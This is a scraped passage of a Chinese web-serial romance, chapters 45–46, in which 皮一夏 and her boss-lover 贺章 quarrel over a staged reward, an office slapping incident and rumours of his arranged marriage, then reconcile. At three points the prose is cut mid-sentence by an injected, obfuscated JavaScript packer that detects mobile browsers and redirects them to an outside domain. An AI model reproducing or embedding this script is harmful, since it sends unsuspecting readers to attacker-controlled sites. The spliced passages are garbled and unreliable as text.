贺章皱眉:“怎么总催我去工作?” “我哪有!”皮一夏噘着嘴,“还不是怕影响你……而且,我现在心情很好,不用你陪着。” 她那半边脸还红着,但情绪确实好了不少,贺章盯着她看了会儿,面色不自觉柔和下来,忽然说:“想不想再要半个好消息?” “什么?”她眼睛一亮。 “别墅的物业昨天联系我,说落水的孩子家长非常感激你,想重金酬谢,我拒绝了,提出让他转一万块,作为你手机落水的补偿。” “真的吗?”皮一夏两眼放光,转瞬又暗淡下来,“……还是算了吧,我的手机能开机,除了偶尔卡顿,感觉还好,让人家赔个新的,跟讹人似的。” “这不是讹人。你做了好事,没得到好报,反让自己受到损失,这不公平。孩子家长没尽到看护的义务,也内疚自责。这一万块既弥补了你的损失,也让他得到心理安慰,是双赢。” 贺章这话掷地有声,十分笃定,皮一夏有点动摇了。 “是这样吗?” “就是这样。” 她想了一会儿,点头同意:“那好吧,我就开心地收下了,你帮我谢谢那个家长哦……不过一万块还是太多了,现在买个高端手机才□□千……” “不多。”贺章直接打断,“他本来想给十万的。” “……”你们有钱人,出手就是大方。 然而,贺章还没完:“物业公司赞赏你见义勇为的行为,想找媒体来采访报道……” “不要不要!”他还没说完,皮一夏就连忙摆手,“这点事,不值得大肆宣扬,换成别人也会救的,你帮我拒绝吧。” “确定拒绝这个选项?” “拒绝拒绝!”皮一夏毫不犹豫点头。 她一点也不想当网红。 小学六年级时,她有一次考了全校第一名,爸爸来给他开家长会,是被邻居家叔叔拉过来的,到教室时酒还没醒,站在讲台上大着舌头说醉话,最后还问老师,第一名的奖金是多少……引得其他家长纷纷侧目,后来学校里开始流传,别的同学考高分,是为了上个好中学,皮一夏考高分,是为了给他爸挣赌资。 从那以后,她再也不想在人前出风头,无论在哪里,默默无闻地隐于众人就很好。 贺章见她态度果决,又道:“还有第二个选择,物业公司设了一个“见义勇为专项基金”,用来奖励社区好人好事,你是第一期获奖者,奖金一万块。” “……”她是在做美梦吗? 皮一夏懵懵地:“你不是在逗我吧?” 贺章皱眉:“我很闲?” “所以是真的……但是不用了。这样搞得我,挺不好意思的。” “这个基金的意义,在于鼓励更多人做好事,这样社会才能变得更好,换个人早就欢天喜地收下了,你不好意思什么?” 是她矫情吗? 天上掉馅饼,不接,是不是会遭雷劈? 可她已经收了家长一万块,再收物业一万块,真挺不好意思的。不过随手做点好事,至于搞得这么轰动吗? “一万块,或者找几家媒体来采访报道,二选一。”贺章又说。 “一万块一万块……”皮一夏果断下了决定。 比起在社交媒体上被人讨论,还是默默收钱好。而且,如果一定要让她占这个便宜,那还是给钱实在。 “嗯。你把银行账号发给我。” “现在?” “不然呢?这点事还要浪费我多少时间?”贺章不悦。 “哦哦……”皮一夏忙不迭点头,“那我现在发你。” 她缩小视频通话界面,给贺章发了银行账号和开户行名称,很快,收到了入账短信通知。 盯着“20000.00”这个数字,她的眼中蓦地爆发光彩:“Ethan,我也太幸运了吧!” 见她开心,他不由也跟着高兴,然而下一秒,她又开始胡言乱语。 “你们社区,还有没有别的好人好事机会呀?比如扫垃圾什么的,我可以申请做义工,做义工有奖金吗?” 贺章:“……”他想让她退钱了。 皮一夏见他面无表情,噗嗤笑出声:“我逗你的!” 正在这时,门铃响了。 她一怔:“这个时候谁会过来呀,我去看看哦,你先挂了吧。” “别挂!视频通着。”万一有事,他好及时解决。 “哦。” 皮一夏小跑到一楼,屋内可视对讲门禁画面上是个中年男人,西装革履,头发朝后梳着,挺体面的。 她点开对讲:“请问您是哪位?” “您好,是贺先生家吧?我是前天园区里落水孩子的父亲,刚出差回来,得知这事,特意过来酬谢。” 皮一夏:“……” 贺章:“……” 和手机里的人四目相对,皮一夏从错愕,到恍然,再到气恼,脸色变了几变,最后凶巴巴地喊了一嗓子:“贺章!” 被喊的人难得面露尴尬,轻咳一声。 大门外的孩子父亲也吓住了:“……您、您好?” 皮一夏丢给贺章一个“你给我等着”的眼神,然后解了大门门锁。 接着,在贺章的要求下,视频通话没有挂断,三个人线上线下一起开了个国际会议。 十分钟后,孩子家长梁先生离开了。 皮一夏环臂抱胸,面无表情,看向视频里的人。 贺章偏头看窗外:“时间不早了……” “不许挂!”皮一夏气呼呼喊。 “……” “你干嘛要骗我!” 贺章默了默:“换个角度想,我只是把梁先生感谢你的时间,提前了几分钟……也算殊途同归。” 皮一夏虎着脸。 那位梁先生刚刚提出要给她十万块,表达谢意,在她坚持谢绝后,三方最终协商出一个折中方案,就是补偿一万块用来买新手机。 虽然确实殊途同归没错,但是…… “我为什么要换个角度!” “而且你刚刚说谎话,眼睛都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786158|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨一下!” 说到这里,她脑子又是一懵:“那个什么物业基金,不会也是假的吧?!” “绝对是真的!”贺章断然道,“不信你可以打电话去向物业确认。” “哼!你别以为,以退为进我就会相信,我真的会去确认……你告诉我物业电话是什么?” 贺章嘴角微抽:“我找找,一会儿发你。” “再敢骗我,你就死定了。” 实则她也不是真生气,说到底,贺章是为了哄她开心,她不过就恃宠而骄,闹一闹他。 贺章笑起来:“不骗了。等我回去,带你去买新手机。” “我不买,我就喜欢用旧的!” “那就用旧的,钱存起来,买好吃的。” 他一句一句迁就她情绪,皮一夏都不舍得闹他了,嘴巴一瘪,小声念叨:“你什么时候回来呀……” 真的好想抱抱他。 贺章忽然感觉心脏被她的手攥住了,必须请求她放过,他才能好受。 手指摩挲着屏幕,漆黑的瞳中泛起波澜,他难得柔声:“尽快。你乖乖的,好好吃饭睡觉,开心上班。” 完了她想哭了。 “你工作吧,我要去做饭了。”她快速说了一句,就挂断了视频。 再讲下去,就忍不住要磨他线上陪睡了。 她真是疯了! 二十分钟后,坐在商务车后排的贺章收到一条微信。 是一张照片。 Oliver蹲在岛台上,被皮一夏胁迫营业,一人一狗同款傻笑,台面上还摆着一盘狗粮,和一份鸡蛋西红柿挂面。 贺章盯着照片看了一会儿,长按,保存到手机。 林献从后视镜里看见老板嘴角的笑,不由也跟着笑,适时出声:“Ethan,物业那边都交代好了。另外,林经理让我转达对您的敬意,并请您放心,见义勇为专项基金方案拟好后,他会请您过目。” “好。”贺章收起手机,“你把电话发给夏……皮一夏。” 都开始叫夏夏了!进度很快嘛……林献脸上的笑意加深:“好的,Ethan。” “再有,你去打听打听,文娱公司今天发生了什么。” 林献愣了下:“有具体方向吗?” 贺章皱眉,沉吟道:“不好的。” “好的,我这就去问。” 然而,用不着林献打听,就收到情报了。 还是总裁办那几个小姑娘,拉了个吃瓜群,林献有幸加入组织,看见了菲菲刚发到群里的消息。 菲菲要减肥:「大瓜速来!文娱的皮一夏和Daisy俩人在一楼大堂互扇巴掌,我的天啊这是什么电视剧情节啊……」 很快,群里热闹起来了。 @沅儿:「什么情况什么情况……没人录视频吗?想看第一手!」 @YKK:「我刚在另一个群里吃完瓜,听说是Daisy被停职了,怀疑皮一夏使坏,但是皮一夏这边呢,指责Daisy抄袭。目前情况不明,让子弹飞一会儿[思考]」 @猫女士:「怎么又是皮一夏……上次被人送了一车花,这次挨了一巴掌,她这人生,整得挺精彩啊[doge]」 林献忍不住皱眉。 一向只围观的他第一次在群里露面:「有人受伤吗?」 菲菲要减肥:「没有吧。听说被人拉开了,后来皮一夏先走了。」 林献抬眼,看向后视镜,老板的脸色难得这么好,哎…… 不过这么大的事,瞒是瞒不住的,林献咬咬牙,小心翼翼地开口:“Ethan,我听说,今天皮小姐和Daisy……闹得不愉快,似乎还动手了。” 眼睁睁看着老板逐渐脸色铁青,他急忙快速补充:“不过两人都没有受伤。” 车里的温度从暖春骤然变成了寒冬,林献忍不住打寒战。 “你亲自去交代祁山。”贺章声音冰冷,“Daisy这个人,尽快处理掉。” “是,Ethan。” 他这种身份,亲自干涉一个普通员工的去留,前所未有,林献虽然诧异,但不敢置喙。 接下来有十分钟,他大气不敢喘,时不时瞟一眼反镜,后排的人盯着手机屏,不知道在看什么,脸色仍然铁青着。 商务车在MK大楼车库里缓缓停稳,贺章终于再次开口:“上去跟他们协调,我晚半个小时到。” “好的,Ethan。” 司机和林献都下车了,贺章独自坐在后排,盯着屏幕上那张自拍照又看了两分钟,眼里的寒霜仍然化不开。 他拨通了皮一夏的视频。 那边很快接起来,屏幕里闪现一张笑脸,眼睛亮晶晶:“Ethan!你怎么又打来?” 45. 哄好 贺章盯着她那双眼,一时语结。 他没法形容此刻的心情,也不知如何纾解自己的情绪。 不,不止此刻。 两个多月来,他几乎无时无刻被她牵绊着,经常陷入陌生的情绪陷阱里, 从巴塞罗那回来时,他只想抓住她,狠狠惩罚她。 但具体怎么惩罚,没有章法。只是一股很强烈的情绪,这种情绪在见到她以后,又似乎变了样。 不动声色地审视她,言辞闪烁戏弄她、恐吓她,都不能令他满足,好像只有让她待在眼前,看着她忐忑不安地扮乖才会好一点。 后来又不够了。 必须时时刻刻触碰到她,听她说话,让她的眼睛里只有他。 一时见不到,就忍不住焦躁。 见到了也焦躁。 为她只想和他做床伴焦躁。 为她一向多情却又薄情焦躁。 为她界限分明、心里藏着事不说焦躁。 说了也焦躁。 在他看来,没有什么事情是解决不了的,只要她开口,没有他不能做的。 可她偏要撒谎,而他竟明知她没说实话,也不可理喻地由着她,只要她开心就好。 这样令他焦躁的一个人,他都还没舍得惩罚,居然有人敢对她动手! 他感觉胸腔憋得快要爆炸,她竟还若无其事地笑。 贺章忍不住咬牙,攥拳,狠狠捶向车门! “嘭!”的一声闷响,惊得屏幕上的小脸神色骤变。 “Ethan……你怎么了?是谁在砸东西吗?” 她一害怕,他就又没章法了。 揉了揉额角,缓缓吐出一口气,尽量压平声音说:“你听错了,有人关门。” “哦……”她眼里还有不安。 他只好换了个话题:“面好吃吗?” 问出口才恍然意识到,这通电话的目的,似乎就是为了问一问她吃得好不好,心情好不好。 她脸色松快了点,嘴巴微微噘着:“不太好吃。我盐放多了,好咸。” “要给你叫外卖吗?” “不用啦!”她又笑起来,“我都吃饱了,多喝点水就是了。哦对,你要看一下Oliver吗?” 她说着就把手机屏翻过去,对准岛台上的雪团子,扬声叫:“Oliver,过来……你爸爸要和你说话。” “汪!” Oliver冲着屏幕叫了一声,跑过来吐着舌头傻笑,前爪扒拉她手机,被她一把抓住了,咯咯笑着说:“你也想摸摸他?” 那股焦躁的情绪瞬间消失了,似乎是因为她自然而然脱口而出的这个“也”字。 “Oliver。下去。”他沉声说。 不想把这点时间全浪费在狗身上。 可她还在和狗亲昵,撸着它的耳朵尖打趣:“你爸不让你上桌,怎么办,那咱们下去吧。”边说边把狗抱下地,“玩儿去吧。” 终于把镜头转过来,对准了自己的脸。 他的眉头舒展开,却又不知道该说什么了。 “哦对!”她忽然开口,“你打过来,是有什么事吗?” 他扯了扯嘴角:“睡觉吗?” “不能睡……”她瞬间苦了脸,“还有点工作没做完。” 他蓦地皱眉:“做什么工作,睡觉去!” 她忍不住抿唇笑:“这是你一个当老板的该说的话吗?”扫了眼时间,又叹气,“不早了,我先去刷牙,然后上床干活!” 噔噔噔跑到二楼卧室卫生间,手机竖着靠在洗手台上,她边挤牙膏边说:“你要是有事,就去忙哦。” “嗯。” 她开始刷牙了,满嘴泡沫,时不时朝镜头里看一看,眼睛里满满的都是笑。 似乎真没事了。 忽然,她快速漱了口,洗干净嘴边的泡沫,拿起手机,神情有点严肃,似乎在看什么消息。 很快又笑起来:“我不干活了!Ethan,我要睡觉了,你能别挂电话,陪到我睡着吗?” 贺章抬手看了看表:“给你十五分钟时间。” “好耶!” 她对着屏幕比了个手势,迅速跑出卫生间,冲到床边。 镜头晃动了几下,再稳定下来时,她已经钻进被子里,躺好了。手机侧靠在另一个枕头旁,画面里是她的脸。 “我要睡了。”她笑眯眯说。 贺章见她闭上了眼,心里忽又生出不甘,想让她睁开,再看一看他。 到底没说出口,反而探手到前方的中控台,点开音乐播放器,选了一个催眠的轻音乐歌单。 舒缓的曲声在车里响起,也透过话筒,传到了她的耳朵里。 她的嘴角微微翘起,眼睛却还是没有睁开。 哪怕一次。 十五分钟后,她陷入了酣眠,贺章对着屏幕轻声叫:“夏夏。” 没有得到回应。 说不好是遗憾多一点,还是欣慰多一点,他摸了摸屏幕上的脸,低声说:“睡吧。做个好梦。” 贺章挂断了视频。 两分钟后,皮一夏缓缓睁开了眼睛,泪水顺着眼角扑簌簌滑下,顷刻打湿了枕巾,她抽了抽鼻子,将手机抱在怀里,好像抱住了远在太平洋另一边的人。 刚才在卫生间,收到林献发来的消息,问她还好吗。 这样的消息,今晚收到不少,都是公司同事发来的,有的是纯粹关心,有的是出于打探,还有的一半一半,她一个都没回。 知道消息肯定会传的满天飞,却不知道会飞到大洋彼岸。 原来,他第二次打电话过来,还是为了哄她开心。 她真的要很努力忍着,才能放弃十五分钟和他讲话的时间,假装睡着了。 忽然想到上一通视频通话,他说:“放手去干,有我在,你怕什么。” 不怕了。她什么都不怕。 皮一夏胡乱擦了把眼泪,点开微信发了条朋友圈。 仅同事可见。 皮一下很开心:「谢谢关心。被人哄好了,现在要睡觉啦!!晚安家人们[月亮]」 仅一人不可见。 但她会在梦里,仅和他相见。 十月的最后一周,从周二开始按了加速键。 她发了一封邮件给祁总,抄送公司人事部,申请调查竞聘文件被Daisy抄袭的事。 接着,在大会议室和大家开了个简会,拉通每个人手里的工作内容和进度,开始逐步接手内容中心负责人的工作。 这果然不是一件容易的事。 要熟悉运营部门那一摊事,掌握每个员工的脾气秉性、长处短板,并应对老板突然袭击的提问,还要随时处理突发状况,并给出有效建议。 果断决策。 这四个字说起来很轻松,背起来却有千斤重。 她有点想念Vivian了。 当然,最想念的还是贺章。 他很忙,两人的信息不是被时差错开,就是被工作阻断,但好在,周五晚上他就回来了。 就在她以为,一切会步入正轨的时候,周五那天,突然发生了两件事。 中午,张宝静从食堂回来,神色欲言又止半天,终于还是说:“皮皮姐,这两天,大家都在传一个八卦,你听说了吗?” “不就是我跟Daisy互殴吗。”皮一夏面无表情,不以为意。 “不是。是你自己的。” 她一愣:“我自己?什么事?” 张宝静坐下来,拉过椅子凑近,小心地说:“先说明,我肯定一定是相信你的啊,你听完也先别生气……那个,有人说,你爸爸……坐过牢,后来,还是被你害、害死的……” 张宝静越说声音越低,到最后,那个“死”字几乎是气声了。 手机屏幕上播着武侠剧,银剑寒光一闪而过,“唰”地一声,配合着恐怖的音效。 皮一夏瞬间毛骨悚然,全身起了鸡皮疙瘩,仿佛也被这个死字吓住了,脑子里一片空白。 她最害怕的事,还是发生了。 五年来辛苦营造的积极向上打工形象,像一块廉价的遮羞布,风一吹就飞,露出了底下的千疮百孔。 张宝静似乎在等她说话。不管是愤怒地喝骂,或者委屈地辩解,都是合宜的。 但她无话可辨。 身体隐隐发抖,勉强管理好表情,她转回头对着电脑,开始工作。 一向好奇心旺盛,又很关心她的张宝静这次竟然也没说话,大概是她的脸色太难看,吓到她了。 她用了一下午的时间,来消化这个传闻造成的情绪震荡,终于在下班时,恢复了平静。然而,晚上七点,当她回到丰和壹号别墅时,又看见一条消息。 是一篇财经媒体报道,标题八卦感十足。 「“太子爷”联姻“长公主”,华森剑指何方?」 文章前半段引用了香港媒体报道,提到贺章和香港汇祥实业掌门人钟升见面,对方偕长女参加,疑似商谈贺钟两家联姻之事。 接下来,重点论述了华森和汇祥实业各自的发展方向和当前障碍,提出华森集团将获得汇祥实业的战略投资,这笔嫁妆也将为汇祥实业带来丰厚的回报,华森集团在云计算方面的顶尖技术会助力这家港资集团在数字化发展方面实现腾飞。 最后的结论是,华森集团近期动作频频,疑似在为回购银丰资本手里的华森股权做铺垫,诸君不妨拭目以待。 皮一夏将这篇文章仔仔细细读了一遍,又回到开头,盯着那张晚宴的照片,陷入了呆滞。 华光璀璨的宴会厅里,贺章和钟升面对面站着,两人身旁还陪着几位高管模样的男人,和一个穿深紫色露肩晚礼服的女人。 那女人面容姣好,气质高贵,仿佛生来就该穿这样的礼服。不像她,穿上那件阿玛尼高定浑身不自在,好像是从别人的衣柜里偷来的。 贺章和她并肩站在一起,彼此相视而笑,仿佛天造地设的一对有情男女,即便因为联姻才捆绑在一起,婚后也必定琴瑟和鸣,有很多共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790052|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同话题。不像她,只懂得打工挣钱还房贷,向他倾诉工作里的难题,却对他没有任何助力。 她以前,从不会因为自己的出身感到自卑,即便和苏苏这样的千金大小姐相处,也从来没有哪一刻感到自惭形秽。 然而,当她盯着画面里一男一女碰在一起的香槟杯,忽然间羞惭得面红耳赤。 即便是同样的酒,也会因为所处的位置不同,而身价各异。 有的酒摆在酒吧的柜台上,在迷离摇曳的灯光里,就算再贵,只要肯花钱,总归能买一杯尝尝味。 而有的酒,盛在豪门宴会厅的香槟杯里,看着甚至没什么存在感,但只有极少数的人有资格端起它。 可笑她竟然为自己是独特的“玛丽莲.卡瓦起泡酒”而得意。 这种酒根本就不存在,是她虚构出来骗他的,然而到最后却发现,被骗的那个人是自己。 什么前所未有的勇气,其实是不堪一击的玻璃,摆出来不过虚张声势自己骗自己,就像今天下午被风吹走的那层遮羞布,能遮住外人的眼光,却遮不住她漏洞百出的内心。 人应该对自己诚实,贪心并不可耻。 但蝼蚁能贪的,至多该是地上的一块糖霜,而不该是天边的一轮月亮,否则就太过荒唐了。 晚上九点半,贺章回到家里。 别墅一层亮着灯,Oliver听见动静冲出来叫着迎接他,最想见的人却没出现。 他拎着行李箱,走到二楼的卧室,智能灯应声亮起,他蓦地愣住了。 房间里空无一人,床单被褥整整齐齐,连一丝褶皱也没有,到处干净整洁得好像酒店房间,而他是即将入住的客人。 贺章推开卫生间的门,最先吸引他注意的是洗手台。 那里本来放着她的洗漱用品,牙膏牙刷,毛巾,洗面奶……如果她肯听话,这会儿应该连护肤品和化妆品也都搬过来了。 他不由皱眉。 一边给她发微信问在哪,一边下楼穿过庭院,往木屋里走。 结果正如他预感的那样,木屋里也人去楼空。好像这里从来没有住过一个古灵精怪的丫头,在每个无法独眠的夜晚,让他忍不住一再地失控。 他的心开始下沉。 微信没有回复,语音没人接听,电话也提示暂时无法接通。 她就这样,又一次不告而别了。 不知疲倦连轴转了一周,满心期待地疾驰赶回,迎接他的不是她的笑脸,而是空空荡荡地房间。 贺章倏地感到愤怒。 开车去她家的路上,他又强迫自己冷静下来。一定发生了什么事,否则她不会这么反常。 可是真的反常吗?这女人一贯把男人当狗耍,不开心了就分开!信誓旦旦地答应过不跑了,结果还是跑了! 贺章恨恨地拍上方向盘。 点开车载电话,直接给褚彦打过去,一接通,他冷声质问:“皮一夏怎么了?!” “什么怎么了?”褚彦一头雾水,“我哪儿知道你的宝贝疙瘩怎么了?!” “我走前让你看好文娱集团,不过一周时间,她挨了人打,现在又一声不吭消失了,你跟我说你不知道怎么了?!” “……” 你他妈让我看好文娱集团,没说让我看好皮一夏啊! 褚彦张口就想骂人,但对面的气势太盛,他还从来没见过贺章发脾气,这太稀罕了。 好奇压过了气恼,褚彦八卦地问:“姑娘把你甩了?” 贺章咬了咬牙,冷声:“我在跟你说正事。” “……正事就是,你让林献给祁山传话,林献传得讳莫如深,祁山以为你在追究他办事不力,吓得跑我这请教来了,我点播了几句,那位Daisy女士周四就被开除了。” “我让你点播了吗?!她还要在祁山手底下干活,中间隔着我,她怎么面对自己上司!” “……”褚彦气死了。 “姓贺的,你他妈是狗吧!我帮你还帮出错来了?!我就多余管你!想发疯找你宝贝疙瘩发去!” 褚彦狠狠挂了电话。 还照着手机屏幕砸了一拳。 贺章捂了捂腮帮子。 公事忙得脚不沾地,私事让他着急上火,智齿终于发威了。 给褚彦打的这通电话没有解决他心头疑惑,反而让他更愤怒了。 敲她家门无人应,直接按密码进去,没想到又是个空无一人的房间,愤怒瞬间被茫然和错愕取代。 他迅速给苏晨雪打了电话,结果仍然没得到关于她的消息。 就这样,人间蒸发了? 贺章前所未有地焦躁,疯狂给她拨微信视频和电话,边拨边锁门,打算开车去找……结果在楼下看见了她。 拖着行李箱,怀里抱着一束花,手机举在脸前,她接通了视频。 “Ethan。”轻轻的一声。 他却听见了两声。 昏黄的路灯下,贺章在她身前半步缓缓停下,对上她错愕的双眼,微张的嘴巴。 46. 心意 那张嘴动了动,似乎想说什么,最后又什么都没说。 低下头,眼皮也耷拉下来。 “为什么跑?”贺章冷声质问。 瞬间就把她的眼泪逼了出来,一滴、一滴,落在脚尖前的水泥路上。 “谁送的花?”他继续质问。 “自己买的。”她轻声回答,带着轻微的鼻音。 她想,就算是蝼蚁,就算得不到月亮,起码有一束花陪着自己,也不算太寂寞。 其实是拖着行李箱一路走回来,看见街角有卖花的妇人,想让她早点回家。 天这么冷,她都快要冻僵了,连翻滚的情绪,也被这清寒的空气给冲淡了,这才敢接通他的电话。 以为很平静了,结果才听他说了一句话,她就忍不住掉眼泪。 太不争气了。 皮一夏快速眨了眨眼,偏过头问:“你怎么来了?” 贺章咬了咬牙。 刚刚见到她的第一眼,心脏明明已经落到了实处,可一听她不答反问,就又忍不住开始愤怒。 他一把掰过她的脸,冷不丁对上一双泪眼。 一时间,想说的话噎在嗓子里,他错愕地愣在当场。 这双眼一向是明亮的,狡黠的,藏着笑意和他逗趣的,几时见过这样,黯淡无光,被一层水汽蒙着,仿佛受了天大的委屈。 仿佛是他让她受了天大的委屈。 他懵了几秒才问出声:“谁欺负你了?” 那一层晶莹的水光含在眼眶里,摇摇晃晃,终于在听到这句话的瞬间滚落下来。 她扁了扁嘴,拨开他的手:“没人欺负我。” “那为什么哭?” 他又扶着她肩膀,把她身体扳过来。看见那双泪眼他慌乱,看不见更慌乱。 他声音不由放轻了,这让她更难过了。 “你想跟我说什么吗?”她抹了把脸,平静地问。 贺章又怔住了。 他现在应该说什么吗?不是在质问她为什么从家里搬出去吗? 可她这幅样子,让他不敢逼问,隐隐感觉那个害她哭的人,正是自己。 “你想听我说什么?” 她又不说话了,就那么平静地看着他。 平静得仿佛在看一个陌生人。 仿佛这些时日以来的亲密无间是他自己做的一场梦。 仿佛巴塞罗那的一夜也是梦。 他忽然有种被欺骗和背叛的感觉,于是再次怒火上涌,拉起她手就往停车位走。 “你干嘛?”她挣扎着要摆脱他,往后撤着身子,不肯跟他离开,“有什么话在这说。” 在这是说不明白的。两人你一句我一句全是反问,没一句有用的。这种拉扯放在平时是情趣,眼下,他没这个耐心被她耍着玩! “皮一夏,你最好别再激我。”他沉声道。 神色比刚重逢时还要冷。 她又开始害怕,挣扎的力道也发虚,终是被他拖到了车门边。 她双手按着车门,不让他打开:“我不进去。你有话就在这里说,说完我要回家睡觉了。” 没什么大不了的,睡一觉就好了。不过失个恋,又不是没失过,这流程她简直不要太熟悉。 可贺章一看她那张倔脸,再听见这句话,满腔愤怒简直要掀翻了天。 他被她搞得疯疯癫癫,而她竟然只想回家睡觉?! 贺章一把攥住她手腕,扯开按在车门上的手,干脆利索地拉开,然后把人强塞进了副驾,并锁住了车门。 “你这是绑架!开门!”她愤怒地拍着车窗叫喊。 贺章根本不理会,拎起她的行李箱,放到后备箱,再转到侧面驾驶位,开门坐了进去。 “安全带。”他冷冷地看着她。 皮一夏胸口急促起伏,不肯系:“我要回家!” 她突然感觉呼吸不畅,大口大口地抽气,脸色憋得通红,不停地拍打胸口,像濒死的人。 “夏夏!”贺章大惊,探身揽住她,一手捧起她脸,“怎么了?哪里难受?” 皮一夏说不出话,瘫靠在椅背上,疯狂地推他,不停地砸车窗,难受得满眼都是泪,贺章急忙开门冲出去,打开副驾的门,把她抱出来:“回家,回家是不是……好,我们回家!” 皮一夏终于停止了挣扎,抽气的声音小了些,一手攥着她衣襟,另一手不停抚自己的胸口。 从一楼到十楼的时间从来没有这么漫长,电梯门一开,他就抱着她跑出来,到了门口,将她放在地上,一只手去按门锁密码。 手指有点抖,按了两次才打开。 皮一夏推开门,踉跄地跑进去,径直跑到书架前,拉开顶柜的玻璃门,从一柜子娃娃中间,摸出一板药,抠出两粒塞进嘴里,然后转身跑到厨房,拧开水龙头,张嘴接在水管下方,开始大口大口地喝水。 喝了好几口之后,她关掉了水龙头,气喘的感觉轻了一些,整个人虚脱一般,坐到了地上。 贺章缓步走进去,在她身边蹲下来,一手摩挲着她后背,一手按在她肩头,将人扣在了怀里。 “夏夏,我不逼你了……别害怕。” 她浑身瘫软地靠在他怀里,良久才恢复了正常呼吸,情绪也平静了。 带着悲伤的平静。 皮一夏抬眼看向他,喉头哽了哽:“Ethan,你想跟我说的大事,是不是要跟豪门大小姐联姻?” 他神色一怔,她有点说不下去,艰难地吞了吞口水,才继续道:“你要和我分开吗?做完最后一步就分开吗?还是说,以后需要我在你的婚姻家庭以外安分待着吗?” 话音刚落,大颗大颗的泪水从眼眶里喷涌而出,她哽着嗓子终于哭出声来。 她这么委屈,他生平第一次红了眼眶,捧起她的脸问:“是因为这件事,你才搬出来吗?” 他心口酸胀难忍,又十分手足无措,可大脑却不受控制,迅速涌出一股巨大的狂喜,嗓音激昂又笃定。 听在她耳中,却不啻挨了一记鞭笞,还是自取其辱那种,疼痛和愤怒呼啸而来,她一把推开了贺章。 “你做梦吧!我才不会让你占便宜!想要齐人之福,你去找别人吧!” 说完就从地上爬起来,越过他走出厨房,一把拉开大门:“你走吧!” 她也不要他了。 她现在完全明白了,贺章就是在报复,先勾得她心动不可自拔,再拍拍屁股转身离去,和真正的千金大小姐结婚,让她变成一个笑话! 眼泪又忍不住疯狂涌出来。 她特别想恨他,可是偏偏那么爱他。 甚至连这句“你走吧”,也是欲迎还拒的手段,希望他不要走,哪怕留下来陪她一晚呢。 她蹲到地上,哭得泣不成声。 贺章从厨房里走出来,走到她身边,一手按在门后,毫不犹豫地关上。 门锁“咔哒”一声,她抬起一双泪眼,仰头看着他。 贺章面色平静,伸手将她从地上拉起来,勾住膝弯打横抱起,大步往房间走。 被丢在床上的时候,她人还是懵的,他脱衣服的时候,她反应过来,又开始愤怒,手脚并用爬下床,转眼又被他按了回去。 温热的唇吻上来,她第一反应是推拒,可当他的舌探进口中与她纠缠,她就沦陷了,很没出息地伸手勾住他的脖子,开始回应他。 眼泪却流得更凶了。 她是这么喜欢他,喜欢得不顾廉耻! 然而贺章却忽然停了下来。 她一时分不清是遗憾还是解脱,只是茫然地看着他。 贺章将她从床上拉起来,然后抱坐在腿上。 确定床伴关系后,这是他最喜欢的姿势,甚至比她躺在他怀里还要喜欢。他偶尔琢磨,可能是这个姿势足够亲密,却又没那么荒唐,能让他更清楚地看见她。 也让她能更清醒地看着他。 不是见色起意,不要她肤浅地喜欢,要她完完全全,像他一样沦陷,彻彻底底地属于他。 现在,他终于确认了她的心意,头脑里除了猝不及防的狂喜,还罕见地多了几分反思。 他可真不是东西。 非要等到她明确的信号,非要她哭得涕泪横流,委屈得像个迷路又遭遇坏人的孩子,才肯清楚地告诉她。 “夏夏,我们之间不会有别人。” 她的哭声忽然哽住了,神色更加茫然,仿佛没听见他说了什么。 贺章指腹摩挲着她的脸,漆黑的眼瞳凝住她,笃定地重复:“夏夏,我们之间不会有别人。我爱你,只爱你。” 皮一夏完全懵了。 巨大的不可置信让她的心脏开始失序。 她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798322|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉有点荒唐。贺章说爱她……这是可以轻易说的吗?是她可以奢望的吗? 她曾经心存侥幸祈盼的,也不过是得到一点点的喜欢,比床伴关系更坚固和久远,一点点就好。 可是他说“爱”。 这个字太神圣,不是一点点的坚固和久远,简直像是一生一世不能打破的羁绊,就这样随意被他说出来了。可是…… “你不是不相信爱情吗?”她怔怔地问。 贺章嘴角缓缓浮起笑意,低头凑过来,与她额头相抵。 “但我相信你。只相信你。” 其他任何人都不行。 心脏跳得快要把她的胸腔砸破了,刚才那种窒息的感觉又有点上来了,皮一夏抚着胸口,深呼吸。 贺章一惊:“又难受了?” 她疯狂摇头,揪住他衣襟:“你不许骗我!” 贺章嘴角含笑:“我什么时候骗过你。” 这话一出口,两人都想起“孩子的父亲梁先生”,于是双双僵住了。 贺章不自在地说:“就那么一回。” 皮一夏放开他,目光里又带了审视:“可是,你和大公主的联姻呢?” 